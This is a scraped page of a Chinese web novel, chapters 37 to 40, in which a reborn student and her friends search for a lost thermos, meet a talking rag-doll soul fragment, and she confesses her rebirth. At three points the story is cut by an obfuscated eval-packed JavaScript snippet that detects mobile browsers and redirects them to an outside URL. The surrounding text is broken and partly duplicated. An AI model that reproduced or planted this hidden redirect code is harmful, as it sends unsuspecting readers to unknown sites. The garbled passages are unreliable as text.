白佳果不意外，双胞胎就是这样的脾气，不能太顺着也不能太逆着，太顺着容易蹬鼻子上脸越来越过分，太逆着会发大疯让所有人不痛快。 于是他们又等了一小会儿，等双胞胎拿到打包的食物，一行人才离开餐厅。 他们直奔学校，进校门的时候，双胞胎把打包好的食物递给了提前叫来的舍友，说是请他们吃，免得拎着食物打包盒进不了图书馆。 去图书馆要经过林道，应索雕像周围拉起警戒线，二十四小时都有人看守，他们路过时，还有学生因好奇驻足围观拍照。 他们进入图书馆，跟随白佳果来到二楼。 二楼楼梯旁，靠近围栏的位置，每隔一段距离就会摆放两张单人沙发和一张桌子。 正值午休时间，图书馆人不多，栏杆这边的沙发上更是一个人都没有。 宿谬想到一个问题：“如果杯子被忘在图书馆，会有人拿去失物招领处才对。” 白佳果：“可能是放的位置太隐蔽，所以没人发现吧。” 隐蔽？能有多隐蔽？ 顶着众人疑惑的目光，白佳果在其中一张沙发和围栏的夹缝处，摸出了一只保温杯。 保温杯的外形，和照片上的一模一样。 考虑到是在图书馆，纷赫琳、双胞胎以及那渊都是轻轻地鼓掌，没有发出声音。 唯独宿谬感到奇怪：“你怎么知道杯子在这里？” 白佳果：“我有一次上楼看到的。” 围栏另一边就是楼梯，且围栏用的是深色玻璃，虽然不容易看清，但也不是完全看不到。 上辈子他们怎么都找不到保温杯，准备要放弃了，结果来图书馆帮忙整理图书的白佳果抱着书本上楼，一抬头，竟然看见了他们苦苦找寻的杯子。 白佳果撒谎打补丁：“我当时不知道这是管理员弄丢的杯子，还以为是坐这里的人故意放这的。” 宿谬沉默了一下：“其实我有个问题，一直想问你。你之前……” “这个保温杯——”突然一道压低音量的女声，打断了宿谬的提问。 白佳果循声望去，发现是个老熟人——白骨林事件中，和她一起被煅嘉以掳走的天族女生。 白佳果对她印象非常深刻，毕竟不是谁都能像她一样，身上携带的圣水多到仿佛不用钱。 “白佳果？”天族女生唤出白佳果的名字：“好巧，这个保温杯是你找到的吗？” 白佳果愣愣地点头，指了指沙发和围栏的夹缝：“在沙发那里找出来的。” 天族女生：“居然掉那里面了，我说怎么找不到。” 白佳果听出不对，问：“你也在找这个杯子？” “昂，”天族女生拿出手机：“我找了一个多月，要不是它真的很贵，我早就想放弃算了。” 天族女生亮出手机屏幕，上面是保温杯的购买记录，价格非常夸张，一万二。 “多少？？！”白佳果差点拿不稳手中的杯子。 “管理员说她的保温杯不见了，也长这样。”宿谬拿出管理员给的照片，照片明显是日常随手拍的，背景看着像是谁的办公室。 天族女生凑过来，眯起眼看了看，说：“你这个……好像是翟亚地的绝版老款。” 白佳果听过“翟亚地”，一个在魔法世界历史悠久的奢侈品牌，同时还是她大伯经营的产业之一，空想雅时不时会拿这个牌子的东西给她，但她嫌设计浮夸没用过，没想到，这个牌子能黑到一个保温杯卖一万二。 疯了吧。 天族女生似乎很了解这些，跟他们说道：“我这个是老版的复刻款，虽然工艺、用料还有铭文都比老款好，但没有分层。” 天族女生指着照片上几乎看不清的一条缝隙，说：“老款的分层，下半部分可以拧开，放需要保温保鲜的东西，比如水果或者冰淇淋。但因为空间太小，作用比较鸡肋，所以复刻款没有复原这个部分。” 这个保温杯还能刻字，他们在上面找到了天族女生的名字，终于确定，这确实是天族女生的杯子。 白佳果很诧异：上辈子他们找到的保温杯，不是管理员的？ 38.第三十八章（一更） “今天也是晚上来接您吗？”车子停在校门口，驾驶座上的空想雅再一次向白佳果确认。 白佳果关掉手机，解开安全带：“嗯，这几天有点事。” 空想雅：“如果需要提前来接，您可以随时联系我。” “好！”白佳果拎上背包下了车。 从前天开始，白佳果便跟五人组一块在学校里找管理员的保温杯。 他们先是确定了方案，把疑似保温杯丢失时间段里，管理员去过的地方进行划分，两人一组展开搜索。 户外禁制比较少，可以大范围使用寻物魔法，建筑内禁制较多，就只能小范围使用魔法，再搭配地毯式的人工搜寻。 当然在这之前他们也想过先去查监控，进一步确定保温杯丢失的时间，缩小寻找范围。可惜学校监控仅保存三十天，而管理员的保温杯，是在一个多月以前丢失的。 划分好区域后，他们关于分组进行过讨论，宿谬提出用抽签决定谁跟谁一组。 那渊没有反对，如果不抽签，白佳果肯定跟纷赫琳一组，他希望全无。 双胞胎也没有反对，他们有两个人，抽中和白佳果一起的概率比其他人大。 白佳果也同意抽签，因为她不会魔法，上课时间跟他们不一样，和她一组会比较辛苦，还容易落单。 唯独纷赫琳表示不满，奈何少数服从多数，只能认栽。 抽签的链接每天早上会在群里发一次，白佳果昨天抽到了跟纷赫琳一组——这让原本有所不满的纷赫琳非常开心，今天抽到跟宿谬一组。 一年级的课程安排非常轻松，比如今天他们只在下午有一节课，上到四点，等白佳果上完一节早课，他们已经找完四个区域。 白佳果在群里跟宿谬要了定位，在体育馆——管理员曾来体育馆一楼器材室清点报损的器材，为了保险起见，他们准备把整个体育馆都找一遍。 白佳果到的时候，宿谬在体育馆门口等她。 “走吧。”看到她来，宿谬拿出管理员给的库房钥匙，两人一块从一楼开始找起。 这个时间体育馆有人上课，他们看白佳果在找什么东西，热心地提出要帮忙，被白佳果婉拒了，管理员不肯挂寻物启事，不想让太多人知道保温杯的事情，那她最好还是遵守这个约定。 一路找到三楼的露天网球场，找了快两个小时，一无所获。 临近十二点，群里纷赫琳几个已经在商量中午去哪吃饭。 考虑到他们找了一上午，下午上完课还得接着找，白佳果投了距离最近的食堂一票。 中午吃完食堂，白佳果到纷赫琳的宿舍午睡。 纷赫琳住的是四人寝，上床下桌，床帘一拉，隔音咒一放，就是一个单独的小空间。 白佳果上辈子和这辈子一样不住校，没少来这里蹭床午睡。 睡前闲话时，纷赫琳说自己要是能在校外租房子就好了，可惜学校有规定，除非特殊情况，不然一年级必须住校，而且她平时花销太大，如果要在外面住，钱不太够用，除非去找个兼职。 比起她，双胞胎就没有这方面的烦恼。 “他们准备下学期开学前，在学校附近找个房子，等开学就搬过去。” 这和白佳果记忆里的一样。 双胞胎在校外的住处，是她上辈子离开魔法世界前最后去过的地方，可惜那套房子现在并未被双胞胎租下。 白佳果让空想雅去打听过，目前那里住着别的房客，装修布置也和她记忆里的不一样，不然她还想进去看看，刺激刺激自己的记忆。 # 下午白佳果和宿谬分到了艺术楼，宿谬去上课，白佳果先一个人找着。 艺术楼不仅建筑外表充满了艺术性，内部空间和作用也很奇特，里面不仅有展厅、画室、琴房、录音棚，还有放映厅和摄影棚，学生们甚至能在艺术楼里开鬼屋和咖啡店。 管理员来这是因为接到举报，说鬼屋有违禁品，所以来核查，没想到真查出有问题，把鬼屋给封了，涉事学生也被停学调查。 白佳果先去停摆的鬼屋，在前厅找了一圈，没看到保温杯的影子，但找到开关，打开了鬼屋里面所有的灯。 灯光拉满的鬼屋并不恐怖，上辈子她就因为找保温杯进去过，当时他们帮管理员找保温杯纯粹是为了让老太太高兴，不讲效率，所以没有分组，是六个人一起进去的。 一路下来没有遭遇任何意外，就连那些吓人的设备也因为被切断电源和魔法晶石的供给而无法运行。 结果他们还是被吓得够呛——双胞胎故意作怪，宿谬察觉后反过来捉弄他们，结果是大家都被狠狠吓了一遭。 可见恐怖的不是鬼屋，而是身边故意渲染恐怖气氛的同伴。 没有他们，鬼屋看起来无害极了，但白佳果依旧不愿意自己一个人进去。 她准备去别的地方看看，等宿谬来了，再两个人一块进去找。 白佳果关上入口的门，转身正要离开前厅，身后突然传来“咚”的一声。 有什么东西，撞在了门上。 那东西在门里面。 白佳果回过身，定定地，一动不动。 那扇门没再发出声音，白佳果知道自己可以离开，可她就是控制不住好奇心，朝那扇门走去。 “谁在里面？”她问。 门后依旧没有动静。 白佳果搭上门把手，深呼吸后，猛地将门拉开，门后什么都没有…… 不对。 白佳果视线下移，看到了地上的布人偶。 那拙劣的做工，那粗糙的针脚，熟悉的翅膀—— “‘不知道’？”白佳果诧异地捡起因为撞门上而晕过去的布人偶，晃了晃。 “别、别摇……晕，别摇……”人偶发出气若游丝的声音。 白佳果拿着布人偶去了鬼屋同楼层的露台花园，找了个没人的角落坐下。 人偶这会儿也缓过神来，抬头看看白佳果，“呀”了一声，说：“白佳果！太好了，我找到你了！” 异空间里的布人偶早就被弄成子弹打进应索的身体，白佳果还以为眼前这个人偶会是二十八年前从应索身上分裂出来的灵魂碎片，结果一听它能喊出自己的名字，就知道自己猜错了。 眼前的布人偶估计是最近刚从应索身上分裂出来的灵魂碎片，不知道通过什么方式，避开看守的视线，从雕像里跑了出来。 白佳果：“你找我干嘛？” 人偶从衣服里掏出一张纸条，特别特别小一张，上面写着一串号码。 “这个给你！”它说。 白佳果：“为什么要给我这个？” 人偶：“不知道！” 白佳果：“……”这该死的熟悉感。 已死之人的灵魂碎片的灵魂碎片，因为太过细碎，派不上什么大用场，就连被委托任务，也只能记住一项。 白佳果只能自己猜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15913914|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十三位数的号码……魔法世界的手机号都是十二位数，可考虑到应索在异空间，如果他能拥有手机号，特殊一点似乎也不奇怪。 试试？ 白佳果拿出手机，输入号码，拨号。 居然打通了。 “你好？”对面传来熟悉的声音。 白佳果：“……别告诉我你又遇到什么危险了。” 对面：“白佳果？太好了，我还以为得费点功夫才能联系上你呢。” 白佳果：“所以，能解释一下吗？应索先生。” 应索：“哦，我没有遇到危险，就是太无聊了。没有学生也没有幽魂，神防办那群家伙像是经过什么统一的培训，每个人都无聊透顶！一千多年前是这样，现在还是这样，真让人受不了。” 白佳果：“所以你分了个灵魂碎片出来？” 应索一点也不嫌解释起来麻烦，告诉白佳果：“嗯，虽然我不能操纵灵魂碎片，但灵魂碎片回来后，我能吸收它的记忆，听起来不是很有趣吗？等它回来，我就能知道它在外面经历了怎样的冒险。” 白佳果低头看了看手中仰着脖子听她说话的布人偶：“那你现在用来和我通话的手机又是怎么一回事？” “我无聊嘛，他们就给了我一部手机，说是用了能突破异空间壁的技术，可以随时联系他们。不得不说科技发展真快啊，才三十年，电话居然变得这么小，还多了这么多功能，又可以拍照，又可以录音，还能播放音乐，甚至能当百科全书用。”应索絮絮叨叨地感叹着，“不过我很快就腻了，一个人玩什么都没意思，联系他们更没意思，所以我就给‘不知道’颁发了冒险任务，它这次出去就是要找到你，把我的手机号给你。” 应索沿用了白佳果给布人偶起的名字，也叫它“不知道”。 “我以为要等上很久，没想到前天晚上刚把它放出去，今天下午就接到你的电话了。” “前天晚上……”白佳果同情地看着布人偶。 图书馆就在艺术楼隔壁，这只小家伙该不会从雕像出来往艺术楼跑，不小心进了鬼屋在鬼屋待到刚刚吧? “它很厉害吧。”应索自恋道：“毕竟是我的灵魂碎片嘛。” 白佳果：“……” 白佳果注意到：“你说的百科全书是指搜索引擎吗？” 一般浏览器打开默认页面都是搜索引擎。 应索：“那个叫搜索引擎？” 白佳果：“能用搜索引擎，也就是说能连网对吧？” 与时代脱节三十年的应索：“连网？” 白佳果稍微解释一下，开始教手机那头的千岁老人上网，这样对方就不会无聊了，毕竟那可是万恶的网络。 白佳果还教应索下载了聊天软件，两人加上好友后，她又给对方发了一大堆提防电信诈骗的小视频。 应索一头扎进网络的深渊，还非常感谢白佳果，问白佳果有没有什么心愿，让他报答一下。 白佳果思索片刻，给对方发了个兔耳发箍的购买链接。 “能网购的话，可以买个这个戴上吗？你戴一定很好看。”当初不小心进异空间的时候，白佳果曾怀着报复的心理想过：有机会一定要弄个兔耳发箍给应索的雕像戴上。 现在雕像还被警戒线圈着，雕像戴不了，让异空间里的应索戴也是一样的。 “网购不了也没关系，”白佳果贴心道：“我可以帮你买一个，让‘不知道’给你捎回去。” 39.第三十九章（二更） 直到宿谬来艺术楼，白佳果才反应过来，自己居然完全忘了去找保温杯。 “抱歉。”她说，然后问宿谬：“你要加应索好友吗？” 宿谬怀疑自己的耳朵出了问题：“你说谁？” 白佳果举起自己的手机：“应索。” 无聊的应索对当初跟白佳果一起找到日记的学生非常感兴趣，比起再一次派出布人偶，显然还是拜托白佳果比较方便。 正好宿谬在调查二十八年前的事情，两人加上联系方式，也好进一步了解当时的情况。 两边聊了一个小时左右，这期间白佳果联系了那渊他们，还有弥悬，把应索的联系方式发给了他们。 应索兴高采烈地拉个群，发信息的时候又不小心把发给宿谬的内容发到了群里，于是讨论转移到群内，弥悬莫名其妙地加入进来，还知道了他们在找管理员的保温杯。 弥悬在群里询问是否需要帮助，遭到了五人组一致的拒绝。 那渊直接说不需要，纷赫琳说再多一个人就不好分组了，双胞胎则表示人太多会很吵很麻烦。 宿谬最得体，他先是感谢了弥悬的好意，但临近期末，弥悬不像他们是一年级，学业肯定不轻松，而且管理员也不希望太多学生知道这件事，弥悬的人缘有目共睹，如果他加入进来，很容易一传十十传百，因此婉拒他的加入，还说如果弥悬实在感兴趣，他们可以把进度分享到应索拉的这个群里。 白佳果不由得感叹：“我要能有你这样的口才就好了。” 上辈子毕业踏入社会能少走多少弯路啊。 宿谬对白佳果露出一个礼貌的微笑：“我只是不想太麻烦弥悬学长。” 白佳果点点头：“你说是就是吧。” 宿谬：“……” 考虑到还得找保温杯，群里的闲聊堪堪停下，只有应索时不时会冒出来，问一些刚接触网络的人会问的问题，大家都会教他。 白佳果和宿谬准备前往鬼屋，布人偶刚从鬼屋跑出来，说什么都不要一起去。 “那你要回去吗？”白佳果问布人偶的同时，也给应索发了条信息。 布人偶想了想，虽然小纸条已经送出去了，没有继续在外面溜达的理由，但作为应索的灵魂碎片，它心底向往着异空间外的世界，于是它摇了摇头：“我还要冒险！” 应索也回复道：【让它一个人在外面多玩一会儿吧。】 白佳果问布人偶：“就算让你一个人也可以吗？” “一个人？”布人偶理解了一下一个人的含义，然后点点头：“一个人也可以！” 白佳果用食指指腹碰了碰布人偶的脑袋：“了不起。” 布人偶傻乎乎的，虽然不知道为什么，但被夸了诶！ 它点头：“嗯！我真了不起！” 白佳果将它留在露台花园，让它想去哪里都可以，如果遇到困难记得找学校里的人求助。 “好！”布人偶挥舞着手臂，送别了白佳果和宿谬。 # 鬼屋的前厅已经找过一遍，为防万一，宿谬又用了个寻物魔法，果然没什么用，于是两人打开那扇被布人偶撞过的门。 灯还亮着，一条通道出现在他们面前，通道尽头是向左的拐角，拐角的墙下挂了个应急灯，上面写着“危险通道”。 宿谬不胆小，白佳果就算害怕也能保持克制，所以一圈找下来，两个人都很安静，只有寻常的交流声。 一无所获地走出鬼屋，白佳果迫切地需要到外头晒晒太阳，碰巧宿谬也说渴了，两个人就去了艺术楼的咖啡店，宿谬点了杯咖啡，白佳果点了杯牛奶，两人端着饮品在店外面找了个没人的地方待着。 白佳果坐在斑驳的树影下，随身佩戴的调温道具能给她提供最舒适的温度，细碎的太阳光既不会让她在夏日被晒伤，又能帮她驱散在鬼屋里感受到的阴寒。 她缓了好一会儿，总算舒服些，便提出继续去艺术楼别的地方找找，不然他们的进度太慢了。 宿谬：“没事，艺术楼的范围很大，本来就不可能光靠我们两个来完成，等那渊他们搜索完其他区域，会过来和我们一起找” 白佳果点点头，又喝了口牛奶，听到宿谬问她：“能问一下，你为什么会对二十八年前的事情感兴趣吗？” 其实不只是白佳果，还有双胞胎。 那渊是因为宿谬，纷赫琳是因为白佳果，那白佳果和双胞胎是因为什么？ “好奇吧。”白佳果说：“当然还因为我爸妈，他们是异空间的继承者，专案组怀疑他们是信徒的共犯。虽然不是很想管他们，但如果他们出事了，我外婆会担心，所以我怎么也得了解一下情况。” 除此之外还有两个原因，一个是她想和五人组重复经历上辈子经历过的事情，刺激记忆。 一个是上辈子找到的保温杯不是管理员的，但管理员却收下了，这让她很在意。 礼尚往来，白佳果反过来问他：“你呢？你为什么会对二十八年前的事情感兴趣？” 找管理员询问情况，也是他率先提出来的。 和坐在树影下的白佳果不同，宿谬整个人都坐在建筑的阴影里，咖啡中的冰块悄悄融化，水珠贴着杯壁滑落在他手上，他说：“信徒很危险。” “他一定是校内人士，不然接触不到异空间，所以信徒可能是教职工，也可能是二十八年前——甚至更早以前的学生。如果是教职工，他现在或许还在学校。” 白佳果：“唔，这么危险的人，确实应该找出来比较好。” 白佳果继续喝她的牛奶，没有问为什么别人都容易忽视的信徒，在宿谬看来会那样可怕。 毕竟异空间里，信徒唯一做的就是投放神族残片，伤人的是幽魂和神族残片。至于神族复生，对没有经历过神明时代的普通公民而言，恐怕很难对这件事背后的严重性感同身受。 宿谬也差不多，虽然他接受的教育让他明白神族复生不是什么好事，但他忌惮信徒，并不是因为神明，而是因为信徒本身。 至于忌惮的原因，那可就说来话长了。 白佳果很清楚，如今的他们还没有熟悉到可以深入这个问题的程度。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15913915|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所以她没有继续问下去。 但宿谬却主动延伸了话题：“我曾经遇到过一位，非常疯狂的信徒。” 白佳果惊讶：“啊？” 这是要把曾经发生过的事告诉她吗？ 这就说了？ 白佳果很诧异，要知道，上辈子她可是在两个人关系很熟很熟的情况下，才了解到这段过往。 宿谬仔细观察白佳果的表情，继续说下去：“那年我才八岁，但我自命不凡，觉得自己很优秀，对魔法的掌控和了解不输给成年人。” 白佳果愣愣地，听着他将故事娓娓道来：“所以当我跟着父母在外旅游的路上，碰到一个昏迷的陌生人时，我没有马上去把我父母叫过来，而是先用治愈魔法，替他治疗好了身上的伤。” “之后等我带着父母去找他时，他不见了。” “直到一个星期后，警方敲开了我家的门，他们问了我一些问题，并且和我的父母一起瞒着我，不肯让我知道究竟发生了什么。” “但我还是知道了。” 宿谬为白佳果揭秘，脸上始终是那副礼貌的，笑眯眯的表情：“我救的陌生人是一个通缉犯，他用人命献祭神明，在被我救醒到警察找到他，击毙他之前，他又去杀了一家七口人，其中最小的被害者，比我当时的年纪还要小。” 说到这里，白佳果反而没那么吃惊。 于是宿谬笑着说：“比起故事的结局，你似乎更加惊讶我会把这件事告诉你。” 演技一般般的白佳果：“……我都很惊讶。” 上辈子第一次听的时候，她整个人都被震住了，并觉得自己真该死啊，居然因为宿谬不肯用治疗魔法而跟他吵架，完全没想到对方是不是有什么心理障碍。 现在她依旧惊讶，但确实，比起已经听过的内容，宿谬在两个人不像上辈子那么熟的情况下说起这个，更让她感到不可思议。 他这么做是为了什么？ 很快白佳果就知道了。 “你是不是早就知道我的事情？”宿谬突然问。 白佳果悚然一惊：“……啊？” 宿谬：“在校医楼，我们第一次说话的时候，我就感觉你好像在模仿我。” 白佳果：被看出来了。 宿谬：“比起不善社交导致的下意识模仿，你的行为更像是在嘲讽我的虚伪。” 白佳果：看得还很透彻，这是什么见鬼的洞察力。 白佳果干巴巴道：“你太敏感了。” 宿谬笑了一声，听起来像是被气笑的，毕竟任何人被指责太敏感，都会生气。 这声笑对白佳果来讲非常耳熟，上辈子没少听，因为她没少气宿谬，这辈子还是第一次听见。 真让人怀念。 宿谬：“我还有个问题，一直想问你。” 白佳果预感不妙：“要不别问了吧。” 宿谬不听：“我查过图书馆的监控，你捡到我的笔记直接就拿去失物招领处了，根本没看笔记的内容。” “所以你是怎么知道，我们失踪是去了白骨林？” 40.第四十章 白佳果很注意没有在宿谬提问的时候喝牛奶，但还是在听到对方的问题后，被自己的口水呛到咳嗽。 撕心裂肺地咳了半晌，咳到宿谬都来替她拍背缓气。 咳到最后脑子缺氧嗡嗡作响，即便停下不咳，也花了点时间才捡回自己的思绪。 白佳果：“你——” 剧烈的咳嗽让白佳果声音嘶哑，她顿了顿，“今天有点倒霉”的念头从大脑一闪而过，她突然“嘶”一声，拿出手机点开了那渊不允许他们解散的六人小群。 她往上翻聊天记录，翻了一阵停下，抬头看向宿谬。 划分搜索区域的是宿谬，为了提高效率，提出分组的是宿谬，每天早上发随机分组链接的，还是宿谬。 那链接通往的页面不是什么网站，就是一个简单的随机分组器，以及昨天跟今天，那渊都没有分到和双胞胎中的某个人一组，极大程度上避免了矛盾的发生。 “我也有个问题。”她盯着宿谬，目光炯炯，“你怎么回答我，我就会怎么回答你。” 白佳果当着宿谬的面点开语音输入，按住按键，采访一般地先将手机对着自己，问：“群里那个随机分组的链接，真的是随机的吗？” 问完把手机递到宿谬嘴边，另一只手摆了个“请”的手势。 宿谬垂眸看了眼白佳果的手机，又看向白佳果，沉默了几秒，别开脸深呼吸，吐气，又无可奈何地把脸转回来，答道：“不是。” 白佳果松手，将语音发送到六人小群。 不一会儿，群里热闹起来，信息宛如爆炸一般在对话框内弹射出一条又一条，全都是对宿谬的讨伐与抨击。 那渊甚至直接给宿谬打了通电话。 宿谬：“……” 向来记仇的白佳果：舒坦了。 宿谬直接挂断：“你还没有回答我的问题。” 手机又一次响起。 白佳果：“你要不先接一个？” 宿谬没办法，叹口气，接通了电话，被那渊一顿谴责。 当然那渊谴责的主要内容不是怪宿谬耍心眼，弄个假的随机链接，而是怪宿谬居然没有在昨天把他和白佳果随机到一组。 向来都是那渊被宿谬管，宿谬第一次反过来被那渊批评，也是托了白佳果的福。 好不容易挂断电话，宿谬问白佳果：“现在能说了吗？” 面具似的笑眯眯表情终于从他脸上消失，清冷的气质无比清晰地在他身上彰显，暴露他外热内冷的本质。 看在他这么诚实的份上，白佳果起手就是一句短视频开头：“我重生了。” 即便有过这方面的猜测，宿谬还是感到匪夷所思。 被煅嘉以骗过后，他就多了个心眼，特地去查了图书馆的监控，之后又弄到了白佳果的课表——这不难，作为特殊生，有无数双眼睛注视着白佳果。 双月期之前，白佳果的许多课程都跟时间魔法有关。 曾有人揣测，特殊生对时间魔法这么感兴趣，是不是因为她想回到过去，阻止无法使用魔法的自己出生在这个世界上。 听起来很悲情，充满了戏剧性，即便接触过白佳果的人都表示她性格开朗，依旧有人认为那只是表象。 唯独宿谬想过，白佳果对时间魔法感兴趣，会不会是因为她已经经历过时间回溯。 不然很难解释白佳果对他——准确地说是他们——没由来的排斥和了解。 当然这只是猜测，即便白佳果在面对纷赫琳时突然落泪，非常突兀地提出纷赫琳如果想跟她做朋友就得把刘海剪掉，到这也仅仅只是猜测，直到白佳果亲口承认，答案才算尘埃落定。 “听起来像网络小说。”宿谬道。 即便在魔法世界，时间依旧是神秘且充满迷雾的领域。 作用在物品上的时间魔法和道具远比作用在生物上的更加多且稳定，比如实践课上用到的溯回纱。 目前公开的研究里，时间类魔法道具在作用于一个人的情况下，最稳定的时间回溯只有七分钟，作用于两个人的情况下是三分钟，而且冷却时间不仅共通，还很长。 强行在冷却时间内重复溯回，会造成磁场紊乱，严重点会令溯回者的躯体分崩离析。 未公开的数据或许比这好一些，但也不会夸张到哪里去。 时间旅行方面更是近千年才会出现一个时空旅行者，他们不需要魔法咒语，天生就能穿越时间，至于是随心所欲想去哪个时间就能去哪个时间，还是被迫进行随机的时间穿越，纯看个人运气。 奇异的是，几乎所有时间旅行者都是人族，一旦转化为长生种，他们就会失去前往过去和未来的能力。 以原先的种族复活就更少见了，要么需要付出代价，如白骨林事件中需要血肉献祭才能续存的赛溪一般。 要么成为亡灵。 就算复活也是复活在死后的时间里，不会重生到过去。 白佳果这样的情况，只存在于幻想创作中。 “所以……我们曾经是朋友？”宿谬问。 白佳果：“应该是吧。” “应该？”宿谬不理解。 白佳果点了点自己的脑壳：“我的记忆在重生前就出了问题，意识到这点之前，我以为你们从来没有把我当成过朋友。” 宿谬皱眉：“什么意思？” “就是……”白佳果一时语塞。 那些曾经盘旋在脑海中，一度折磨着她，令她难堪的记忆，要她对着当事人讲出来，居然有些不太好讲。 白佳果组织了一下语言，平铺直叙道：“就是我退学之后回来找你们聚一聚，但你们都不愿意见我。你们找了各种借口。少络望少络听宁可撒谎，那渊连我的电话都不肯接。纷赫琳说我这样会让你们感到困扰，因为你们和我在一起只是想拿额外学分，我都退学了没必要再对你们纠缠不休……” 白佳果越说越无奈，果然这种事情当面讲出来，反而显得她很矫情。 宿谬理解了：“所以你不愿意接近我们。” 白佳果耸耸肩：“后来我知道了，我的记忆可能出了问题。” 宿谬：“有人虚构了我们不愿意见你的记忆？” “那倒不是。”白佳果说：“我的记忆都是真的，但被封锁了一部分。” 白佳果喝了口牛奶，清了清嗓子。 宿谬回忆白佳果对他们态度出现转折的时间点：“你在办公楼那次记忆震荡，是你想起了一些事情？” 白佳果点头：“嗯，我想起来，我刚要退学的时候，你们很舍不得我，不像是为了学分特地演的，所以我猜，之后的事情应该是有什么隐情……吧。” 白佳果有些尴尬，她伸手去够栏杆外的树叶，没注意到宿谬微微偏了偏头，似乎在自己身后注意到了什么。 白佳果够到一片树叶，却没有把树叶扯下来，而是就这么牵着：“我的记忆被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925836|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锁得太巧妙了，不像删除记忆那样容易被察觉，还设立了思维墙防止受到刺激后解锁记忆，那道思维墙被设立在我的灵魂里，一般检查都检查不到，怎么看都有问题。” 宿谬把头转回来：“纷赫琳曾经说过，在你身上感应到了她设立的墙。” 白佳果惊讶：“真的！什么时候？” 宿谬：“在图书馆外面，你让她剪刘海那次。” 白佳果一下子想起来，松开树叶双手抱头发出一阵压低音量的怪叫：“啊啊啊啊啊我居然逼她剪刘海，我真不是人啊！！！” 宿谬不知道纷赫琳的童年，疑惑：“为什么这么说？” 白佳果果断又冷酷道：“不关你事，别问。” 宿谬：“……” 白佳果虽然没说，但宿谬猜测，应该是跟他使用不了治疗魔法一样的秘密。 宿谬：“我们以前相处几个月，关系就这么好了吗？” “不是几个月。”白佳果说：“那次我们当了一年的同班同学，我刚进学校就认识你们，做什么都和你们在一起。那一年的经历，简直丰富精彩到不可思议。” 白佳果将那段过往一笔带过，脸上不自觉流露的表情既怀念又怅然。 宿谬：“最后一个问题。” 白佳果不耐烦：“怎么还有？” 宿谬：“你介意让那渊知道这件事吗？” 白佳果陷入了沉默，她低头咬住吸管一口气把牛奶喝光，迟疑道：“我是无所谓，没什么隐瞒的必要，但也没有必须告诉他的理由。” 她想了想，又摇头道，“算了，还是别说了吧，反正那些过去只有我一个人记得，说了也没什么意义” 宿谬手机震动，他拿起来看了一眼，不知道是回答白佳果，还是回答谁，说：“好，我知道了。” 距离他们所在位置不远的拐角处，那渊放下手机，悄悄离开，假装不曾来过。 今天和他同组的纷赫琳站在原地，低垂的视线定定地看着地面，白佳果的声音一直在她耳边重复打转，她无法想象自己会对白佳果说那样的话，她甚至想冲出去告诉白佳果不可能，她不可能这样伤害她，即便背后有什么天大的隐情。 然后呢？ 什么隐情？空口无凭，就要让白佳果相信她吗？纷赫琳按住不自觉颤动的手臂，嘴唇咬出血来，终于强迫自己迈开步子，跟着那渊离开。 白佳果不会魔法，又不像他们有着超凡的身体素质，五感敏锐，所以并未发现那渊与纷赫琳的到来。 她把喝完的牛奶丢进垃圾桶，还在想，监控啊监控，她撒谎自己看过宿谬笔记的时候，居然忘了监控。 可一直到现在，除了宿谬没其他人因为图书馆监控的事情找过她。 是警方调查遗漏了？还是有人替她处理了？ 不管怎么样，学校监控只能保存三十天，现在都过去一个多月了，应该不会再引起谁的注意…… 咦？ 白佳果发现，保温杯丢失的时间段，是在双月期开始前的两周内，说明在双月期之前，管理员已经发现保温杯不见了。 “保温杯丢失一个多月。”白佳果伸出左手，“监控能保留三十天。”她伸出右手，“我们是才知道这件事，所以错过了查监控的时间，那么——” 她双手一拍，交握，代表着将两个条件放在一块：“管理员呢？在监控被覆盖之前，管理员从来没想过去查查监控吗？”